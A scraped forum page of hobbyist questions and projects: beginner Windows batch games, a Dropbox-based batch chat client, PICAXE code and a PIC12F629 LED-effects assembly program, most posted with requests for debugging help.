Hellow everyone, i kinda run into this site, and this group, and i made an acc as you can see :3 i kinda made a chat today in batch, pretty simple and using Dropbox, but i haz some ideas with powershell and using an FTP. but here is a pic of how it works and the code ofcorse! code client: @echo off SET name=%username% color 0a :main cls echo ############################# echo #welcome to the dropbox chat# echo ############################# echo. echo Make your sellection bellow! echo. echo [1]-Collor menu echo [2]-Chat name echo [3]-Chatroom echo [4]-Info (waar normaal nooit iemand kijkt) echo name: %name% echo. :sellect1 set /p C=Sellection: if "%C%"=="1" goto collor if "%C%"=="2" goto name if "%C%"=="3" goto chat1 if "%C%"=="4" goto info if Else goto main /goto main :chat1 echo %name% just joined the chat>>chat.txt goto chat :collor cls echo ############ echo #COLLORS!!!# echo ############ echo. echo pick a collor echo. echo [1]- White echo [2]- Green echo [3]- Red echo [4]- Purple echo [5]- Blue echo [6]- Yellow echo. echo [0]- Main menu echo. :sellect2 set /p C=Collor: if "%C%"=="1" color F if "%C%"=="2" color A if "%C%"=="3" color C if "%C%"=="4" color D if "%C%"=="5" color B if "%C%"=="6" color E if "%C%"=="0" goto main goto collor :name cls echo ############### echo #create a name# echo ############### echo. echo Type in your name (please dont use spacebar) echo. :sellect3 set /p C=Name: SET name=%C% goto main :chat cls echo ######## echo #-CHAT-# echo ######## echo. echo Every msg you type will be added in the chat.txt file, echo so chek on that file for the chat. echo. :sellect3 set /p C=: echo [%time%] %name%:%C%>>chat.txt if "%C%"=="/clear" goto del if "%C%"=="/afk" echo %name% is currently afk>>chat.txt if "%C%"=="/back" echo %name% is no longer afk>>chat.txt if "%C%"=="porn" echo %name% is a perv>>chat.txt goto chat :del del chat.txt goto chat code reader: @echo off :1 cls type chat.txt PING -n 2 127.0.0.1>nul goto 1 thats a bit it, kinda simple i know, but its fun to use and fun to make, feedback is always welcome! ^__^ have a great day/night bye!

Posted by dwngrt 6 years ago  |  last reply 6 years ago


will this code work? Answered

Q1-here is the code for picaxe 08m2 will it work or something is wrong Q2-to repeat a code what value do i have to give for the FOR loop i have assumed it to be 0 to 0 THE CODE--------- main: if pinc.4 = 1 then main2       if pinc.0 = 1 then main3       if pinc.1 = 1 then main4       goto main       main2:for b0 = 0 to 0       play 2,0       next b0       pause 2000       goto main       main3:for b0 = 0 to 0       play 2,1       next b0       pause 2000       goto main            main4:for b0 = 0 to 0       play 2,3       next b0       pause 2000       goto main

Asked by e=mc^2 7 years ago  |  last reply 7 years ago


assembly program

I have pic12f675. i have the neccessary asm and the header files.but i cannot compile it. please can you send me the hex file after compiling the program? as iam a student of class 8, idon't know how to compile. can you also send me the required steps? The required files are posted ;******************************* ;;LED FX.asm ;  11-3-2010 ;******************************* list p=12F629 radix dec include "p12f629.inc"   errorlevel -302 ; Dont complain about BANK 1 Registers during assembly __CONFIG _MCLRE_OFF & _CP_OFF & _WDT_OFF & _INTRC_OSC_NOCLKOUT  ;Internal osc. ;_MCLRE_OFF  - master clear must be off for gp3 to work as input pin ;**************************************************************** ; variables - names and files ;**************************************************************** temp1  equ 20h ; temp2  equ 21h ; temp3  equ 22h ; temp4  equ 23h ; jump  equ 24h ;jump value for table1 fadeUp  equ 25h fadeDwn  equ 26h sequences equ 27h sw_duration equ 28h testing  equ 29h ;**************************************************************** ;Equates ;**************************************************************** status  equ 0x03 rp1   equ 0x06 rp0   equ 0x05 GPIO   equ 0x05    status  equ 03h option_reg equ 81h   ; bits on GPIO     pin7  equ 0 ;GP0  LED C pin6   equ 1 ;GP1  LED B pin5  equ 2 ;GP2  LED A pin4  equ 3 ;GP3  Sw A  pin3  equ 4 ;GP4  Sw B pin2  equ 5 ;GP5  Sw C     ;bits     rp0   equ 5   ;bit 5 of the status register ;**************************************************************** ;Beginning of program ;****************************************************************   org  0x00   nop   nop   nop   nop   nop   SetUp bsf  status, rp0  ;Bank 1           movlw b'11111000'  ;Set TRIS  GP0,1,2 out   GP3,4,5 input   movwf TRISIO         ;    bcf  status, rp0  ;bank 0   movlw   07h          ;turn off Comparator ports         movwf   CMCON        ;must be placed in bank 0    clrf  GPIO         ;Clear GPIO of junk   call _memory   btfss gpio,5   ;SwA to: "record new sequence"    goto record     btfsc gpio,3  ;SwC removes attract sequence   goto $+.10    movlw 0FFh   bsf  status,rp0 ;select bank1   movwf EEDATA        bcf  status,rp0 ;select bank0   movlw .101   bsf  status,rp0 ;select bank1   movwf EEADR      bcf  status,rp0 ;select bank0   call  write     movlw .101   bsf  status,rp0     movwf EEADR           bsf  EECON1,0 ;starts EEPROM read operation storing result in EEDATA        movf EEDATA,w ;move read data into w   bcf  status,rp0      xorlw .8   ;look for 8 - for Attract mode   btfsc 03,2   goto Attract_Seq ;selected sequence will appear first   goto  Main         ;**************************************************************** ;* Tables    * ;**************************************************************** table1 addwf   PCL,F           ;02h,1  add W to program counter   retlw   .10     ;   retlw   .50         retlw   .30     ;   retlw   .50         retlw   .100     ;   retlw   .40  ; program starts at bottom of table   retlw   .10     ;   retlw   .50         retlw   .30     ;   retlw   .50         retlw   .60     ;   retlw   .10     ;   retlw   .50         retlw   .10     ;   retlw   .50         retlw   .100     ;   retlw   .20     ;   retlw   .50         retlw   .30     ;   retlw   .50         retlw   .70   retlw   .60     ;   retlw   .100     ;   retlw   .50         retlw   .100     ;   retlw   .50         retlw   .100     ;   retlw   .70     ;   retlw   .50         retlw   .30     ;   retlw   .50         retlw   .70     ;   table2 addwf   PCL,F           ;02h,1  add W to program counter   goto seq1     goto seq2     goto seq3     goto seq4     goto seq5     goto seq6     goto seq7     goto seq8     goto seq9     goto seq10   goto seq11       goto seq12  ;**************************************************************** ;* Delays    * ;**************************************************************** _xuS movwf temp2 _uS  movlw .10   movwf temp1   decfsz temp1,f   goto $-1      decfsz  temp2,f   goto  _uS    retlw  00   _ZuS movwf temp2   goto $+2   goto $+2    decfsz  temp2,f   goto  $-3    retlw  00  _xmS movwf temp2 _x  nop   decfsz  temp1,f   goto  _x   decfsz  temp2,f   goto  _x   retlw  00     ;5mS delay for increments in timing for "New Sequence"   _5mS movlw 05h   movwf temp2 _5  nop   decfsz  temp1,f   goto  _5   decfsz  temp2,f   goto  _5   retlw  00     _10mS movlw 0Ah   movwf temp2 _10  nop   decfsz  temp1,f   goto  _10   decfsz  temp2,f   goto  _10   retlw  00    _50mS movlw .50   movwf temp2 _50  nop   decfsz  temp1,f   goto  _50   decfsz  temp2,f   goto  _50   retlw  00   _100mS movlw .100   movwf temp2 _100 nop   decfsz  temp1,f   goto  _100   decfsz  temp2,f   goto  _100   retlw  00     _150mS movlw .150   movwf temp2 _150 nop   decfsz  temp1,f   goto  _150   decfsz  temp2,f   goto  _150   retlw  00       ;**************************************************************** ;* Sub Routines    * ;****************************************************************    _memory        movlw .48   movwf temp1   movlw 2Fh   movwf fsr   incf fsr,f   movlw 0FFh   movwf indf   decfsz temp1,f   goto $-4   retlw 00        ;SwB puts current sequence into EEPROM for turn on.      ;and puts "marker" in location 101      Attract   movf sequences,w ;put sequence number into w   bsf  status,rp0 ;select bank1   movwf EEDATA        bcf  status,rp0 ;select bank0   movlw .100   bsf  status,rp0 ;select bank1   movwf EEADR      bcf  status,rp0 ;select bank0   call  write   movlw .8   bsf  status,rp0 ;select bank1   movwf EEDATA      incf EEADR,1      bcf  status,rp0 ;select bank0   call  write    nop   goto $-1   ;Project must be turned off       ;Seq selected as Attract will be displayed when project turned on     Attract_Seq   movlw .100   bsf  status,rp0     movwf EEADR           bsf  EECON1,0 ;starts EEPROM read operation. Result in EEDATA        movf EEDATA,w ;move read data into w   bcf  status,rp0   movwf temp4   movf temp4,w      call table2    goto $-2    ;record new sequence - looks for "no switch pressed" for 1.25 seconds to exit   ;uses files 30h to 5Fh  (48 files)   ;three files per "step"   1st file = LEDs,  2nd = Off time, 3rd = on time   ;15 steps allowed - look for 5Dh   record btfss gpio,5  ;wait for release of button A   goto $-1   movlw 30h   movwf fsr   ;start storage at file 30h      ;look at keys being pressed - identifies 2 or 3 keys pressed together    _r1  clrf sw_duration _r1a call _5mS   incfsz sw_duration,1  ;5mS x 256 = 1.25seconds   goto $+2   goto Store  ;time out! store files 30h to 5Fh in EEPROM    btfss gpio,5  ;see if one or more Sw is pressed   goto $+5   btfss gpio,4   goto $+3   btfsc gpio,3   goto _r1a  ;no sw pressed create 2.5 sec timing        ;1,2,or 3 sw pressed     call _10mS  ;delay to detect 2 or 3 switches   incfsz sw_duration,1   goto $+2   goto Main    btfsc gpio,5  ;SwA   goto $+2   bsf  gpio,0  ;turn on LED A    btfsc gpio,4  ;SwB   goto $+2   bsf  gpio,1  ;turn on LED B    btfsc gpio,3  ;SwC   goto $+2   ;   bsf  gpio,2  ;turn on LED C        ;LEDs have been illuminated         movf gpio,w    movwf indf   ;w moved to fsr's file (30h+)       incf fsr,f     movf sw_duration,w ;off time!!   movwf indf   ;w moved to fsr's file (30h+)      incf fsr,f    clrf sw_duration       _r2  call _5mS   incfsz sw_duration,1       goto $+2   goto record  ;time out! keys pressed too long. Start again   btfss gpio,5   goto _r2   ;sw pressed   btfss gpio,4   goto _r2   ;sw pressed   btfss gpio,3   goto _r2   ;sw pressed          ;file empty. Put duration into file   movf sw_duration,w ;on time      movwf indf   ;w moved to fsr's file (30h+)       incf fsr,f     movlw 5Dh   xorwf fsr,w   btfss 03,2      goto $+2   goto Store  ;stop at 15 steps. store files 30h to 5Fh in EEPROM      clrf gpio    goto _r1          ;sequences:       ;seq1 Self-Programmed sequence    ;1St file:LEDs  2nd file:OFF time  3rd file:On time    seq1 bsf  status,rp0     clrf EEADR    bcf  status,rp0    bsf  status,rp0       bsf  EECON1,0 ;starts EEPROM read operation. Result in EEDATA        movf EEDATA,w ;move read data into w   bcf  status,rp0      movwf gpio   bsf  status,rp0   incf EEADR,1        bsf  EECON1,0 ;        movf EEDATA,w ;move read data into w   bcf  status,rp0    movwf temp4 ;this is OFF time. Store it   bsf  status,rp0   incf EEADR,1        bsf  EECON1,0 ;        movf EEDATA,w ;move read data into w   bcf  status,rp0    movwf sw_duration ;this is ON time   call _5mS   decfsz sw_duration,1   goto $-2   clrf gpio   call _5mS   decfsz temp4,f ;create OFF duration   goto $-2    bsf  status,rp0   incf EEADR,1        bsf  EECON1,0 ;        movf EEDATA,w ;move read data into w   bcf  status,rp0     xorlw 0FFh ;look for 0FFh - end of routine   btfss 03,2   goto $-31   retlw 00          ;seq2  chase right - very fast     seq2 bsf  gpio,0   call _100mS   bcf  gpio,0   bsf  gpio,1   call _100mS   bcf  gpio,1   bsf  gpio,2   call _100mS   bcf  gpio,2   call _100mS   clrf gpio   retlw 00     ;seq3  chase right     seq3 bsf  gpio,0   call _150mS   bcf  gpio,0   bsf  gpio,1   call _150mS   bcf  gpio,1   bsf  gpio,2   call _150mS   bcf  gpio,2   call _150mS   clrf gpio   retlw 00     ;seq4  chase right with off-delay at end     seq4 bsf  gpio,0   call _150mS   bcf  gpio,0   bsf  gpio,1   call _150mS   bcf  gpio,1   bsf  gpio,2   call _150mS   bcf  gpio,2   call _150mS    retlw 00     ;seq5  left right left right   seq5 bsf  gpio,0   call _150mS   bcf  gpio,0    bsf  gpio,2   call _150mS   bcf  gpio,2      retlw 00       ;seq6  middle on   middle off   seq6 bsf  gpio,1   call _150mS   bcf  gpio,1   call _150mS     clrf gpio     retlw 00         ;seq7  All on   all off   seq7 clrf gpio   call _150mS   decf gpio,f   call _150mS   clrf gpio       retlw 00     seq8 ;seq8  middle on then sides on      bsf  gpio,1   call _150mS   bcf  gpio,1   bsf  gpio,0   bsf  gpio,2   call _150mS   clrf gpio       retlw 00     ;seq9  police flasher  3 times left 3 times right   seq9 bsf  gpio,0   call _50mS   bcf  gpio,0   call _50mS   bsf  gpio,0   call _50mS   bcf  gpio,0   call _50mS   bsf  gpio,0   call _50mS   bcf  gpio,0   call _50mS    bsf  gpio,2   call _50mS   bcf  gpio,2   call _50mS   bsf  gpio,2   call _50mS   bcf  gpio,2   call _50mS   bsf  gpio,2   call _50mS   bcf  gpio,2   clrf gpio   call _50mS      retlw 00     ;seq10  random flicker   seq10 movlw .32  ;start at bottom of table   movwf jump   bsf  gpio,1   movf jump,w ;put table jump value into w   call  table1   call _xmS   bcf  gpio,1   decfsz jump,f   goto $+2   retlw 00  ;top of table found   movf jump,w ;put table jump value into w   call  table1   call _xmS      goto $-11       ;seq11  slow fade up down   seq11 clrf fadeUp  ;   clrf fadeDwn   incf fadeUp,f ;to create 1 (delay routine does not like 00)   bsf  gpio,1   movf fadeUp,w   call _xuS   bcf  gpio,1   movf fadeDwn,w   call _xuS         decfsz fadeDwn,f ;   goto $-8   incf fadeDwn,f ;to produce 1   bsf  gpio,1   movf fadeUp,w   call _xuS   bcf  gpio,1   movf fadeDwn,w   call _xuS   decf fadeUp,f     incfsz fadeDwn,f    goto $-8     clrf gpio   retlw 00       ;seq12  fast fade up down   seq12 clrf fadeUp  ;   clrf fadeDwn   incf fadeUp,f ;to create 1 (delay routine does not like 00)   bsf  gpio,1   movf fadeUp,w   call _ZuS   bcf  gpio,1   movf fadeDwn,w   call _ZuS         decfsz fadeDwn,f ;   goto $-8   incf fadeDwn,f ;to produce 1   bsf  gpio,1   movf fadeUp,w   call _ZuS   bcf  gpio,1   movf fadeDwn,w   call _ZuS   decf fadeUp,f     incfsz fadeDwn,f    goto $-8     clrf gpio   retlw 00        ;Store   Store the 15 steps in EEPROM    Store bsf  status,rp0 ;select bank1   clrf eeadr        bcf  status,rp0 ;select bank0    movlw .48   movwf temp1   movlw 2Fh   movwf fsr   incf fsr,f ;fsr starts at file 30h   movf indf,w ;retreive data in file 30h   bsf  status,rp0 ;select bank1   movwf eedata  ;   bcf  status,rp0 ;select bank0   call  write   bsf  status,rp0 ;select bank1   incf eeadr,1        bcf  status,rp0 ;select bank0   decfsz temp1,f   goto $-10   goto Main       write bsf  status,rp0 ;select bank1   bsf  eecon1,wren ;enable write    movlw 55h   ;unlock codes   movwf eecon2   movlw 0aah   movwf eecon2   bsf  eecon1,wr ;write begins   bcf  status,rp0 ;select bank0  writeA btfss pir1,eeif ;wait for write to complete   goto writeA   bcf  pir1,eeif   bsf  status,rp0 ;select bank1   bcf  eecon1,wren ;disable other writes   bcf  status,rp0 ;select bank0       retlw 00           ;**************************************************************** ;* Main        * ;**************************************************************** Main clrf sequences   movf sequences,w   call table2   btfss gpio,5  ;Is swA still pressed?   goto $-3   ;SwA still pressed    movf sequences,w ;SwA released   call table2   btfss gpio,4  ;SwB puts current sequence at turn-on   goto Attract   btfsc gpio,5   goto $-5   ;SwA not pressed   incf sequences,f   movlw .12   xorwf sequences,w   btfss 03,2   goto $-12   goto Main      ;**************************************************************** ;*EEPROM           * ;****************************************************************           org  2100h                 END

Asked by sahebpanda2001 4 years ago  |  last reply 4 years ago


Can anyone explain why this batch file doesn't work correctly? Answered

This is the code: @echo off :Side ping localhost -n 2 :Main cls color Fc echo  Rock, Paper, Scissors! pause echo How to play: pause echo Type either Rock, Paper or Scissors in the bar and press enter, your opponents choice will show, and repeat! pause :Start cls set /p %input0%= Enter your choice here : :ans set /a ran=%random% if /i %ran% GTR 7 goto :1 if /i %ran% LSS 7 goto :2 if /i %ran% LSS 4 goto :3 :1 if %input0%== Scissors echo Your opponent chose Rock, Rock beats Scissors, you lost! else echo You Win! pause goto Start :2 if %input0%== Rock echo You Win! else echo Your opponent chose Paper, Sorry you lose! pause goto Start :3 if %input0%== Paper echo You Win! else echo Your opponent chose Scissors, Sorry you lose! pause goto Start can someone explain why this doesn't work?

Asked by zomarea225 3 years ago  |  last reply 3 years ago


simulation error? Answered

Main:irin [1000,main],C.3,b0 if b0=16 then ahead if b0=18 then right if b0=19 then left ahead:high C.0,B.5 ,C.1,B.4 pause 300 goto main right: high B.5,B.4 pause 300 goto main left: high C.0,C.1 pause 300 goto main this is the code when i try to simulate it  the programming editor says variable not found can you please tell me the reason

Asked by robot1398 7 years ago  |  last reply 7 years ago


Why Won't my Batch Game Not work?

I made it so some parts got to the section area Finish 1 Which everytime a goto command goes to it the cmd prompt crashes and the batch game wont work. [Finish 1 is at the bottom] @echo off title Mystic color 5d :Password echo Enter Your Username and Password echo. set /p user=Enter UserID: set /p pass=Enter Password: if /i %user%==PerfectSpike1337 (     if /i %pass%==ABCDEFG123456 goto Naming) if not "%input%" == ABCDEFG123456 goto Incorrect :Incorrect cls echo Wrong password, Please ask Kellen McDonald for the Password. pause >nul goto Password :Naming cls echo Please enter an avatar name of your desire. echo. set /p uname= echo. echo Welcome to Mystic RPG %uname% echo. echo Press 1 to get started echo Press 2 to exit set /p input=Enter: if "%input%" == "1" goto :Getting Started if "%input%" == "2" exit if "%input%" == "" goto Naming if "%input%" == "Admin Code 123" goto Stab 1 :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Naming :A cls echo You were injured and sent to the hospital. Don't try that again. pause >nul ping localhost -n 2 >nul cls echo Waking Up. ping localhost -n 2 >nul cls echo Waking Up.. ping localhost -n 2 >nul cls echo You have woken up, the nurse greets you. pause >nul echo. echo Welcome back %uname%, press 1 to restart at the bank. set /p input=Enter: if "%input%" == "1" goto :Bank if "%input%" == "" goto A :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto A :Getting Started echo You will recieve your free gold to get started %uname%, first you must walk to the echo bank. pause >nul echo Walking. ping localhost -n 2 >nul cls echo Walking.. ping localhost -n 2 >nul cls echo Walking... ping localhost -n 2 >nul cls echo Choose what you want. echo 1. Enter Bank echo 2. Rob Bank set /p input=Enter: if "%input%" == "1" goto Bank if "%input%" == "2" goto A if "%input%" == "" goto Getting Started pause >nul :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Getting Started :Bank echo You have arrived at the Bank Of Gen Town! pause >nul echo "Here's your money %uname%" pause >nul echo Grabbing Money. ping localhost -n 2 >nul cls echo Grabbing Money.. ping localhost -n 2 >nul cls echo You Have recieved 500 GenDol! pause >nul cls echo Press 1 to begin your next task! set /p input=Enter: if "%input%" == "1" goto Sword Shopping if "%input%" == "" goto Bank :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Bank :Sword Shopping echo You now have enough GenDol for an iron sword at the GenMarket! echo. echo You may now walk to the Market. pause >nul cls echo Press 1 to walk to the market. set /p input=Enter: if "%input%" == "1" goto Shopping if "%input%" == "" goto Sword Shopping :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Sword Shopping :Shopping echo You will now start walking to the Market. pause >nul echo Walking. ping localhost -n 2 >nul cls echo Walking.. ping localhost -n 2 >nul cls echo Walking... ping localhost -n 2 >nul cls echo Enter 1 to enter the market! set /p input=Enter: if "%input%" == "1" goto Market if "%input%" == "" goto Shopping :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Shopping :Market echo "Welcome to the GenMarket %uname%!" pause >nul echo Here is some of our items you can buy! echo. echo 1. Iron Sword [500 GenDol, 10 attack] echo 2. Golden Sword [750 GenDol, 15 attack] echo 3. Dark Matter Sword [5000 GenDol, 100 attack] echo. echo Enter the number of the sword you want to buy! set /p input=Enter: if "%input%" == "1" goto Iron Sword if "%input%" == "2" goto Need GenDol if "%input%" == "3" goto Need GenDol if "%input%" == "" goto Market :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Market :Need GenDol echo You don't have enough GenDol for that! echo Come back later with more GenDol! echo. echo Enter 1 to return to the market screen. set /p input=Enter: if "%input%" == "1" goto Market if "%input%" == "" goto Need GenDol :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Need GenDol :Iron Sword echo You have now bought the Iron Sword and is equipped! echo. echo You may now begin your journey! echo. echo Press 1 to start your journey! set /p input=Enter: if "%input%" == "1" goto Road 1 if "%input%" == "" goto Iron Sword :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Iron Sword :Road 1 echo You see a Bandit! [50 HP] echo. echo What will you do? echo. echo 1. Attack The Bandit echo 2. Sneak By The Bandit set /p input=Enter: if "%input%" == "1" goto Battle 1 if "%input%" == "2" goto Get Spotted :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Road 1 :Battle 1 cls echo You have challenged the Bandit to a duel! echo. echo Choose what you will like to do! echo. echo [100 STAMINA LEFT] echo 1. Swing (5 STAMINA) [10 Damage] echo 2. Stab (10 STAMINA) [15 Damage] set /p input=Enter: if "%input%" == "1" goto Swing if "%input%" == "2" goto Stab if "%input%" == "" goto Battle 1 :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Battle 1 :Get Spotted echo The Bandit has spotted you try to sneak by him! echo. echo The Bandit has challenged you to a duel, prepare to battle! echo. echo Press 1 to enter the duel! set /p input=Enter: if "%input%" == "1" goto Battle 1 if "%input%" == "" goto Get Spotted :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Get Spotted :Stab 1 echo You lunge at the Bandit! echo Your attack hit! echo The attack damaged the Bandit critically! echo. echo [The Bandit Loses 30 HP] echo. echo The Bandit has lunged at you! echo [You Have Lost 10 HP, 90 HP Left] echo. echo Enter 1 to finish The Bandit! set /p input=Enter: if "%input%" == "1" goto Finish 1 if "%input%" == "" goto Stab :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Stab :Swing 1 echo Your attack hit! echo The attack damaged the Bandit critically! echo. echo [The Bandit Loses 25 HP] echo. echo The Bandit has lunged at you! echo [You Have Lost 10 HP, 90 HP Left] echo. echo Enter 1 to finish The Bandit! set /p input=Enter: if "%input%" == "1" goto Finish 1 if "%input%" == "" goto Swing :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Swing :Finish 1 echo You have finished off the Bandit! echo. echo You have recieved 25 EXP and 65 GenDol! echo Your current status is [25|100 EXP] echo. echo You have recieved 10 extra HP for your first win! echo You are now at full HP! [100|100 HP] echo. echo Would you like to continue down this trail or camp echo for the night? [Enter the Numbers 1-3] echo. echo 1. Continue down the trail echo 2. Camp The Night echo 3. View Inventory set /p input=Enter: if "%input%" == "1" goto Trail 1 if "%input%" == "2" goto Camp 1 if "%input%" == "3" goto Inventory 1 :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Finish 1 :Trail 1 pause >nul :Camp 1 pause >nul :Inventory 1 pause >nul

Asked by KelM5 2 years ago  |  last reply 2 years ago


Game test thing

@echo off :menu cls echo Welcome to Martin's Zombie Survival Test! echo Are you ready to begin? echo 1) Yes! echo 2) No! set /p letter= if %letter% == 1 close if %letter% == 2 close cls :startgame echo Question 1. echo A flu has just infeccted your city and it was turning people into zombies, what would you do to stop yourself from being infected? echo 1) Hide in your cupboard echo 2) Get a injection from the doctor echo 3) or start to research your own cure in your private lab set /p letter= if %letter% == 1 goto menu if %letter% == 2 goto menu if %letter% == 3 goto lvl2 :lvl2 cls echo Question 2. echo You are mixing chemicals together when all of a sudden a zombie breaks into your lab, what would you do? echo 1) Throw the chemicals over it. echo 2) Pull out your gun and shoot it echo 3) or stab it with your scalpel set /p letter= if %letter% == 1 goto menu if %letter% == 2 goto menu if %letter% == 3 goto lvl3 :lvl3 cls

Posted by JMTS 9 years ago


Where did I go wrong [Batch]?

What is wrong with this code? I have it open this program: @echo off mode 18,4 title Actions :1 cls echo (B)           (Y) echo   (A)       (X) echo. set /p a= echo %a%> link.txt goto 1 And this prgram is supposed to read the input. Basically, the first one sends a message to a TXT file. Then this program picks up the message from the TXT file and turns it into a variable. @echo off title Whack-a-Mole set a=10 set mole=0 set time=0 set timeend=0 :Start cls set /a a=%a%-1 echo This game uses the "Actions" gamepad unit. echo. echo. echo Hit the most moles to win! echo. echo Game starts in %a% seconds. ping localhost -n 2 > nul if %a% equ 0 goto Game goto Start :Game if exist Actions.bat start Actions.bat cls echo Press "A" on the gamepad unit to swing your bat. Press "B" to stop. echo. if not exist link.txt ( echo The file "link.txt" could not be found. This game cannot be played without it. ping localhost -n 4 > nul ) if not exist Actions.bat ( echo The file "Actions.bat" could not be found. This game cannot be played without it. ping localhost -n 4 > nul ) ping localhost -n 4 > nul :GameBegin cls echo Ready... ping localhost -n 4 > nul cls echo GO! ping localhost -n 2 > nul :Mole1 cls set /a time=%random%/7000 echo Reaction Time:%timeend% echo Moles Hit:%mole% echo. echo [__][__][__][__] echo   [__][__][__][__] echo     [__][__][__][__] ping localhost -n 2 > nul set a=< link.txt echo 00> link.txt if /i "%a%"=="a" goto gameover if /i "%a%"=="b" goto gameover if /i "%a%"=="00" goto gameover set a= ping localhost -n %time% > nul goto Mole2 :Mole2 cls set /a time=%random%/7000 echo Reaction Time:%timeend% echo Moles Hit:%mole% echo. echo [__][__((O.O))_] echo   [__][__/:_][__] echo     [__][/ [__][__] ping localhost -n 2 > nul set a=< link.txt echo 00> link.txt if /i "%a%"=="a" ( set /a mole=%mole%+1 goto Time ) if /i "%a%"=="b" goto gameover if /i "%a%"=="00" goto gameover set a= ping localhost -n %time% > nul goto gameover :Time set timestart=%time:~2% set timeend=%timestart:~4,2% if /i %timeend% equ 01 set timeend=1 if /i %timeend% equ 02 set timeend=2 if /i %timeend% equ 03 set timeend=3 if /i %timeend% equ 04 set timeend=4 if /i %timeend% equ 05 set timeend=5 if /i %timeend% equ 06 set timeend=6 if /i %timeend% equ 07 set timeend=7 if /i %timeend% equ 08 set timeend=8 if /i %timeend% equ 09 set timeend=9 set /a timeend= %timeend%+2+%random:~1,1% if %timeend% geq 60 ( goto gameover ) goto Mole1 :gameover cls echo You got %mole% moles. echo Your fastest time was %timeend%. echo. echo Type in "B" on the gamepad unit to go back to the main menu. :input set a=< link.txt if /i "%a%"=="b" goto Start goto input It may look kinda wierd here, but that's because of instructables, not me. Anyways, it goes through the animations and doesn't even notice that there are any IF commands. Where did I go wrong? EDIT: Figured it out. Corrected: SET /P a=< link.txt Forgot the /p!

Asked by TheBatchies 8 years ago  |  last reply 6 years ago


my batch

I have been playing around with batch coding for a month now and i finaly finished and figered out everything i need to do to get this to work. so here it is.@ECHO OFFcolor 0a:topecho -----------------------------------------------echo type the number 1 for a number guessing gameecho type the number 2 for a calculatorecho type the number 3 to see a dumb thing a made up.echo type the number 4 to exit.echo this is a free-to-use programecho give all credit to dsman1echo do not edit with out dsman1's consentecho -----------------------------------------------set variable1=1set variable2=yset variable3=nset variable4=3set variable5=2set variable7=0set variable9=4set /p udefine=if %udefine%==%variable1% (goto game)if %udefine%==%variable5% (goto calc) if %udefine%==%variable4% (goto starwars)if %udefine%==%variable9% (exit):calcecho hi and wellcome to calcualtorecho credit for programing goes to dsman1echo -----------------------------------------------echo mutiply = *echo divide = /echo add = +echo subtract= -echo parenthesis can be in your problems.:loopecho -----------------------------------------------SET /p UDefine=echo =SET /a UDefine=%UDefine%ECHO %UDefine%echo math is funECHO.echo again? y/nset /p udefine=if %udefine%==%variable2% (goto loop) else (goto top ):game@ECHO OFFSET /a GuessNum=0SET /a Answer=%random%ECHO Guess what Number I'm thinking of.:RetrySET /p Guess=IF %Guess% LSS %Answer% ECHO My Number is Higher.IF %Guess% GTR %Answer% ECHO My Number is Lower.IF %Guess%==%Answer% GOTO ENDECHO.SET /a GuessNum=%GuessNum%+1GOTO Retry:ENDECHO You are Correct! The Answer was %Answer%ECHO It took %GuessNum% Guesses.ECHO.echo play again? y/nset /p udefine=if %udefine%==%variable2% (goto game) else (goto top ):starwarsecho dont press a buttonpauseecho ok pleasepauseecho please with suger on toppauseecho ok come on nowpauseecho you are just trying to irritate mepauseecho and it's working...pauseecho i will blow you up in...pauseecho 5pause echo 4pause echo 3pauseecho 2pause echo 1pause echo boom!!!pauseecho hahapauseecho your dead!pauseecho try to push a button now!pauseecho darnpauseecho echo / you will die mortal \echo / mahaha \echo / \echo pauseset /a variable6=500:heheset /a variable6=%variable6%-1echo hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaif %variable6%==0 goto :hahagoto hehe:hahaecho play again? y/nset /p udefine=if %udefine%==%variable2% (goto starwars) else (goto top )copy that and paste it into note pad. save it with .bat at the end. save it to your 